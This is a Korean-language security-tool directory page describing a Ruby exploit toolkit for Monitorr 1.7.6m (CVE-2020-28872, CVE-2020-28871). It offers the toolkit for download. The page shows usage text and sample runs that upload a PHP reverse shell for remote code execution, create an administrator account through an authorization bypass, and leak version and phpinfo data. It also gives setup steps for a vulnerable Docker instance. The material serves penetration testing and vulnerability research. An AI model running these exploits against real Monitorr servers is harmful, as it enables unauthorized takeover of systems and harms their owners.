Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
도구/GitHubGitHub/sec-it/monitorr-exploit-toolkit
Authentication & AuthorizationVulnerability AnalysisExploitationWeb Application ExploitationInformation GatheringPenetration Testing
GitHubsec-it/monitorr-exploit-toolkit

monitorr-exploit-toolkit

Multiple exploits for Monitorr

저장소 보기
1015년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

Monitorr 익스플로잇 툴킷

  • RCE — _안전하지 않은 파일 업로드_를 통한 (PHP 리버스 셸, 웹셸 등)
  • 관리자 계정 생성 — _인가 우회_를 통한
  • 기술 정보 유출: Monitorr 버전, PHP 버전, 시스템 버전 및 커널, PHP 설정 등

CVE-2020-28872 및 CVE-2020-28871에 대한 익스플로잇.

[PacketStorm]

사용법

root@kitploit:~
$ ruby exploit.rb -h
Monitorr-Exploit

Usage:
  exploit.rb upload <url> <file> [--debug]
  exploit.rb create <url> <user> <pass> <email> [--debug]
  exploit.rb version <url> [--debug]
  exploit.rb phpinfo <url> [--debug]
  exploit.rb -h | --help

upload:       Upload a file (RCE via unrestricted file upload)
version:      Try to fetch Monitorr version
phpinfo:      Extract main phpinfo() information (Information leakage)
create:       Create an administrator account (Authorization bypass)

Options:
  <url>       Root URL (base path) including HTTP scheme, port and root folder
  <file>      File to be uploaded
  --debug     Display arguments
  -h, --help  Show this screen

Examples:
  exploit.rb upload http://example.org revshell.php
  exploit.rb create https://example.org:8080/monitorr/ noraj password '[email protected]'
  exploit.rb version https://example.org:7000/

예제

리버스 셸 업로드:

root@kitploit:~
$ ruby exploit.rb upload http://localhost:7000/ shell.php
[+] File uploaded:
http://localhost:7000//assets/data/usrimg/shell.php

관리자 계정 생성:

root@kitploit:~
$ ruby exploit.rb create http://localhost:7000/ noraj20 password '[email protected]'
[+] User created
Username: noraj20
Email: [email protected]
Password: password

Monitorr 버전 확인:

root@kitploit:~
$ ruby exploit.rb version http://localhost:7000/
1.7.6m

phpinfp() 가져오기:

root@kitploit:~
$ ruby exploit.rb phpinfo http://localhost:7000/
System: Linux f0ded2053dda 5.12.12-zen1-1-zen #1 ZEN SMP PREEMPT Fri, 18 Jun 2021 21:59:24 +0000 x86_64 
PHP version: 7.1.17 
disable_functions: no value</i>
open_basedir: no value</i>

Full phpinfo() location: http://localhost:7000//assets/php/phpinfo.php

요구 사항

  • httpx
  • docopt.rb

gem을 사용한 예:

root@kitploit:~
bundle install
# or
gem install httpx docopt

취약한 소프트웨어의 Docker 배포

경고: 당연히 이 구성은 프로덕션 환경에서의 사용에 적합하지 않습니다!

root@kitploit:~
$ sudo docker-compose up

http://127.0.0.1:7000/monitorr/settings.php에서 앱을 설정/초기화하세요.

제한 사항

  • 업로드: 업로드된 파일은 getimagesize와 일치하려면 이미지 매직 바이트(예: GIF)가 포함되어야 합니다 (코드)
  • 생성: 비밀번호 생성 중 사용되는 비밀번호는 6자 이상이어야 합니다 (애플리케이션 최소 제한)

참고 자료

  • 대상 소프트웨어: Monitorr
    • 소스: https://github.com/Monitorr/Monitorr/
    • Docker: https://hub.docker.com/r/monitorr/monitorr/
    • 취약한 버전: 1.7.6m

이것은 EDB-48981 (CVE-2020-28872) 및 EDB-48980 (CVE-2020-28871)을 더 나은 형태로 재작성하고 융합한 버전이며, 추가 기능이 포함되어 있습니다.

업로드 및 관리자 계정 생성 취약점은 Lyhin's Lab이 발견했습니다. phpinfo 및 Monitorr 버전 유출은 Alexandre ZANNI aka noraj이 발견했습니다.

원본 익스플로잇 및 취약점 분석:

  • 화이트박스 해킹의 작동 원리: Monitorr 1.7.6에서의 인가 우회 및 원격 코드 실행
도구 다운로드